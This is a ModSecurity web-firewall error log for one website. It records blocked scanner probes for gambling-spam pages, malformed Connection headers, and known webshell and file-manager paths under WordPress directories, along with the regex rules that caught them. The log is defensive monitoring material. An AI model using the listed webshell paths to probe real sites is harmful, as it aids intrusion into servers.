[Sun Feb 22 18:51:33.804960 2026] [:error] [pid 9695:tid 9721] [client 79.137.67.30:38990] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZrftVpPqolBNLmJ4eo9pAAAANg"]
[Sun Feb 22 18:51:37.894965 2026] [:error] [pid 9695:tid 9711] [client 79.137.67.30:47264] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZrfuVpPqolBNLmJ4eo9qgAAAM4"]
[Sun Feb 22 18:51:43.227948 2026] [:error] [pid 9587:tid 9599] [client 79.137.67.30:47278] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZrfv-hqt7NXCp-NupHWfwAAAAM"]
[Sun Feb 22 18:51:51.861842 2026] [:error] [pid 12501:tid 12522] [client 79.137.67.30:37258] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZrfx5icztrbvinWGXPivgAAAVM"]
[Sun Feb 22 18:51:56.051387 2026] [:error] [pid 9589:tid 9654] [client 79.137.67.30:41946] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZrfzNr-1mylR_FoXQUldAAAAIM"]
[Sun Feb 22 18:52:02.195648 2026] [:error] [pid 9589:tid 9669] [client 79.137.67.30:41956] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZrf0tr-1mylR_FoXQUlegAAAJI"]
[Sun Feb 22 18:52:10.933587 2026] [:error] [pid 12501:tid 12524] [client 79.137.67.30:33284] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZrf2picztrbvinWGXPi0gAAAVU"]
[Sun Feb 22 18:53:05.166007 2026] [:error] [pid 9587:tid 9610] [client 79.137.67.30:48118] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZrgEehqt7NXCp-NupHXBAAAAA4"]
[Sun Feb 22 18:53:10.223058 2026] [:error] [pid 9587:tid 9609] [client 79.137.67.30:49692] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZrgFuhqt7NXCp-NupHXCQAAAA0"]
[Sun Feb 22 18:53:14.493983 2026] [:error] [pid 9695:tid 9708] [client 79.137.67.30:49698] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZrgGlpPqolBNLmJ4eo-EQAAAMs"]
[Sun Feb 22 18:53:21.348835 2026] [:error] [pid 10537:tid 10562] [client 79.137.67.30:56592] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZrgIbgCiSojLQQBckjoGwAAARc"]
[Sun Feb 22 18:53:30.032363 2026] [:error] [pid 12501:tid 12526] [client 79.137.67.30:52792] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZrgKpicztrbvinWGXPjKgAAAVc"]
[Sun Feb 22 18:53:40.994122 2026] [:error] [pid 17328:tid 17350] [client 79.137.67.30:36566] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZrgNCmytOXCmY4_PcYrSwAAAYE"]
[Sun Feb 22 18:53:46.136180 2026] [:error] [pid 9587:tid 9596] [client 79.137.67.30:33164] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZrgOuhqt7NXCp-NupHXOQAAAAA"]
[Sun Feb 22 18:53:58.791239 2026] [:error] [pid 12501:tid 12508] [client 79.137.67.30:39252] [client 79.137.67.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZrgRpicztrbvinWGXPjVwAAAUU"]
[Sun Feb 22 18:55:58.058895 2026] [:error] [pid 17328:tid 17362] [client 147.135.212.200:41134] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZrgvimytOXCmY4_PcYrzwAAAYs"]
[Sun Feb 22 18:56:00.912594 2026] [:error] [pid 9589:tid 9655] [client 147.135.212.200:52918] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZrgwNr-1mylR_FoXQUmgwAAAIQ"]
[Sun Feb 22 18:56:03.601644 2026] [:error] [pid 12501:tid 12512] [client 147.135.212.200:52934] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZrgw5icztrbvinWGXPj8gAAAUk"]
[Sun Feb 22 18:56:06.535086 2026] [:error] [pid 9587:tid 9604] [client 147.135.212.200:52950] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZrgxuhqt7NXCp-NupHYGQAAAAg"]
[Sun Feb 22 18:56:09.575002 2026] [:error] [pid 9588:tid 9645] [client 147.135.212.200:45914] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZrgyWjNBsxseiTcEllQQQAAAFU"]
[Sun Feb 22 18:56:12.222622 2026] [:error] [pid 9589:tid 9659] [client 147.135.212.200:45916] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZrgzNr-1mylR_FoXQUmjgAAAIg"]
[Sun Feb 22 18:56:15.144470 2026] [:error] [pid 9695:tid 9700] [client 147.135.212.200:45932] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZrgz1pPqolBNLmJ4eo_CgAAAMM"]
[Sun Feb 22 18:56:17.983626 2026] [:error] [pid 10537:tid 10545] [client 147.135.212.200:50176] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZrg0bgCiSojLQQBckjo-AAAAQY"]
[Sun Feb 22 18:56:20.793310 2026] [:error] [pid 12501:tid 12525] [client 147.135.212.200:50178] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZrg1JicztrbvinWGXPkDQAAAVY"]
[Sun Feb 22 18:56:23.826851 2026] [:error] [pid 9589:tid 9664] [client 147.135.212.200:50182] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZrg19r-1mylR_FoXQUmngAAAI0"]
[Sun Feb 22 18:56:26.911926 2026] [:error] [pid 9695:tid 9720] [client 147.135.212.200:50202] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZrg2lpPqolBNLmJ4eo_GgAAANc"]
[Sun Feb 22 18:56:30.066700 2026] [:error] [pid 9695:tid 9710] [client 147.135.212.200:47618] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZrg3lpPqolBNLmJ4eo_JwAAAM0"]
[Sun Feb 22 18:56:32.826911 2026] [:error] [pid 9589:tid 9655] [client 147.135.212.200:47626] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZrg4Nr-1mylR_FoXQUmqwAAAIQ"]
[Sun Feb 22 18:56:35.767221 2026] [:error] [pid 12501:tid 12509] [client 147.135.212.200:47642] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZrg45icztrbvinWGXPkKQAAAUY"]
[Sun Feb 22 18:56:38.881642 2026] [:error] [pid 9589:tid 9670] [client 147.135.212.200:49804] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZrg5tr-1mylR_FoXQUmwgAAAJM"]
[Sun Feb 22 18:56:41.794326 2026] [:error] [pid 9588:tid 9629] [client 147.135.212.200:49808] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZrg6WjNBsxseiTcEllQgQAAAEU"]
[Sun Feb 22 18:56:44.603802 2026] [:error] [pid 10537:tid 10549] [client 147.135.212.200:49812] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZrg7LgCiSojLQQBckjpHwAAAQo"]
[Sun Feb 22 18:56:47.661599 2026] [:error] [pid 12501:tid 12522] [client 147.135.212.200:59178] [client 147.135.212.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZrg75icztrbvinWGXPkSAAAAVM"]
[Sun Feb 22 22:04:40.253149 2026] [:error] [pid 2474:tid 2542] [client 43.173.1.69:43248] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZsM-PhvE7P5hX_xKnSWvAAAAFU"]
[Sun Feb 22 23:06:41.879827 2026] [:error] [pid 2474:tid 2545] [client 43.153.67.21:33464] [client 43.153.67.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZsbgfhvE7P5hX_xKnSs_gAAAFg"]
[Sun Feb 22 23:32:41.345316 2026] [:error] [pid 2473:tid 2493] [client 185.137.164.19:34415] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aZshmXptAeV7-XzzNzg5MwAAABA"]
[Sun Feb 22 23:32:43.050810 2026] [:error] [pid 2574:tid 2594] [client 185.137.164.19:64845] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aZshm8kPV7h4nTf-jiTjTwAAAM0"]
[Sun Feb 22 23:32:45.461185 2026] [:error] [pid 2629:tid 2666] [client 185.137.164.12:63171] [client 185.137.164.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aZshnQlsXSV5M4mfwZ9W-wAAAUg"]
[Sun Feb 22 23:32:47.128158 2026] [:error] [pid 2574:tid 2601] [client 185.137.164.15:45767] [client 185.137.164.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aZshn8kPV7h4nTf-jiTjhgAAANQ"]
[Sun Feb 22 23:32:49.596309 2026] [:error] [pid 2473:tid 2479] [client 185.137.164.13:51047] [client 185.137.164.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aZshoXptAeV7-XzzNzg5sAAAAAI"]
[Sun Feb 22 23:32:50.468334 2026] [:error] [pid 2474:tid 2544] [client 185.137.164.19:30741] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aZshovhvE7P5hX_xKnS06gAAAFc"]
[Sun Feb 22 23:32:51.035876 2026] [:error] [pid 3103:tid 3113] [client 185.137.164.14:50625] [client 185.137.164.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aZsho5fzX5hBIaQY93N7xgAAAYc"]
[Sun Feb 22 23:32:52.715679 2026] [:error] [pid 2574:tid 2583] [client 185.137.164.19:58893] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aZshpMkPV7h4nTf-jiTjvQAAAMI"]
[Sun Feb 22 23:32:53.413149 2026] [:error] [pid 2475:tid 2524] [client 185.137.164.18:30929] [client 185.137.164.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aZshpSdme8TSKYpXujdt4gAAAIE"]
[Sun Feb 22 23:32:53.959091 2026] [:error] [pid 2628:tid 2646] [client 185.137.164.19:34071] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aZshpbK4woMTeUPH2ns5IwAAAQ8"]
[Sun Feb 22 23:32:54.877167 2026] [:error] [pid 2628:tid 2637] [client 185.137.164.20:38321] [client 185.137.164.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aZshprK4woMTeUPH2ns5PgAAAQY"]
[Sun Feb 22 23:32:56.234782 2026] [:error] [pid 2574:tid 2601] [client 185.137.164.20:36555] [client 185.137.164.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aZshqMkPV7h4nTf-jiTj9QAAANQ"]
[Sun Feb 22 23:32:57.411529 2026] [:error] [pid 2475:tid 2548] [client 185.137.164.14:45923] [client 185.137.164.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aZshqSdme8TSKYpXujduFQAAAIg"]
[Sun Feb 22 23:32:58.284002 2026] [:error] [pid 2628:tid 2633] [client 185.137.164.21:25055] [client 185.137.164.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aZshqrK4woMTeUPH2ns5fwAAAQI"]
[Sun Feb 22 23:32:59.193252 2026] [:error] [pid 2474:tid 2535] [client 185.137.164.21:25639] [client 185.137.164.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aZshq_hvE7P5hX_xKnS1WwAAAFA"]
[Sun Feb 22 23:33:01.934353 2026] [:error] [pid 2475:tid 2536] [client 185.137.164.14:27897] [client 185.137.164.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aZshrSdme8TSKYpXujduXQAAAIU"]
